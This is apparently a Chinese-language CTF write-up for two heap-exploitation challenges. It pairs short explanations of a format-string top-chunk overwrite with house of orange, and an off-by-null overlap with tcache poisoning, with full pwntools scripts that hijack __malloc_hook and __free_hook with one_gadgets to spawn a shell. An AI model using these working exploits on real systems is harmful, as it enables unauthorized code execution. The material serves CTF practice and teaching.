note

利用scanf格式化字符串修改top chunk的size,再利用house of orange使堆块进入unsorted bin,泄露libc。

再次利用scanff格式化字符串将malloc_hook改为og(要利用realloc调栈)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = 'debug'

def menu(index):
p.sendlineafter('choice: ', str(index))

def add(size, content):
menu(1)
p.sendlineafter('size: ', str(size))
p.sendlineafter('content: ', content)

def say(say1, say2):
menu(2)
p.sendlineafter('say ? ', say1)
p.sendlineafter('? ', say2)

p = process('./note')
libc=ELF('./2.23/libc.so.6')

add(0x10,'aaa')
p.recvuntil('addr: ')
heap_addr = int(p.recvline().replace('\n',''),16)
success('heap: '+hex(heap_addr))

say('%7$s'+'aaaa'+p64(heap_addr), 'a'*0x18+p64(0xfe1))

for i in range(16):
add(0x100,'a'*0x100)

add(0x10, 'a'*8)
menu(3)
p.recvuntil('content:aaaaaaaa')
malloc_hook = u64(p.recv(6).ljust(8,'\x00'))-0xfa
success('malloc_hook: '+hex(malloc_hook))
#gdb.attach(p)
libc_base = malloc_hook-libc.sym['__malloc_hook']
realloc = libc_base + libc.sym["__libc_realloc"]
og=libc_base+0x4525a# 0xef9f4 0xf0897 0x45206

say('%7$saaaa'+p64(malloc_hook-8),p64(og))
say('%7$saaaa'+p64(malloc_hook),p64(realloc+12))
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline("16")
p.interactive()

PassWordBox_FreeVersion

64位保护全开,add函数中存在off-by-null,并且在输入数据后会对数据进行加密,加密算法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall cry(__int64 a1, int a2)//a1为堆content的地址,a2为输入的size
{
__int64 result; // rax
int v3; // [rsp+14h] [rbp-18h]
int i; // [rsp+18h] [rbp-14h]

v3 = 2 * (a2 / 16);//计算加密的次数,每8个字节加密一次
if ( a2 % 16 <= 8 )
{
if ( a2 % 16 > 0 )//不足8补1
++v3;
}
else
{
v3 += 2;//大于8小于16补2
}
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= v3 )
break;
*(_QWORD *)(8LL * i + a1) ^= qword_4040;//输入数据与qword_4040异或
}
return result;
}

我开始是想首先三个malloc(0x88)的chunk(为了进入unshorted bin并且方便合并),但是在进行overlapping时要考虑off by one,所

以直接三个malloc(0xf8),循环填满0x100的tcache,再dele(0),想办法改chunk(2)的prev_size和利用off by one改inuse位,再dele(2)

malloc(0xf8),此时show(1)便可泄露libc。泄露了libc之后,因为之前分配的chunk1并没有free,再分配一个堆,堆9就会与
堆1重合。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
context.log_level='debug'
r=process('./pwdFree')
#r=remote('node4.buuoj.cn',)
elf=ELF('./pwdFree')
libc=ELF('./2.27/libc.so.6')
def add(ind,size,x):
r.sendlineafter(':','1')
r.sendlineafter(':',str(ind))
r.sendlineafter(':',str(size))
r.sendlineafter(':',x)

def edit(ind,test):
r.sendlineafter(':','2')
r.sendlineafter(':',str(ind))
r.send(test)

def dele(ind):
r.sendlineafter(':','4')
r.sendlineafter(':',str(ind))

def show(ind):
r.sendlineafter(':','3')
r.sendlineafter(':',str(ind))

add(0,0xf8,'a'*0x10)
r.recvuntil("Save ID:")
ad = u64(r.recv(8))
key = 0x6161616161616161 ^ ad
add(1,0xf8,'a')
add(2,0xf8,'s')

for i in range(7):
add(3+i,0xf8,'a')
for i in range(7):
dele(3+i)
dele(0)
add(0,0xf8,'a')
dele(1)
add(1,0xf8,'a'*0xf0+p64(0x200^key))
dele(0)
dele(2)

for i in range(7):
add(3+i,0xf8,"aaaa\n")

add(8,0xf8,'a')

show(1)

r.recvuntil("Pwd is: ")
main = u64(r.recv(8))^key

malloc =main - 0x70
base =malloc-libc.sym["__malloc_hook"]
free_hook = base + libc.sym["__free_hook"]
realloc = base + libc.sym["__libc_realloc"]
og=0x4f3c2+base
print hex(base)

add(9,0xf8,'a')

dele(0)
dele(1)

edit(9,p64(free_hook))
#edit(9,p64(malloc))
add(10,0xf8,'s')
#gdb.attach(r)
add(11,0xf8,p64(og^key))
dele(9)

#gdb.attach(r)
r.interactive()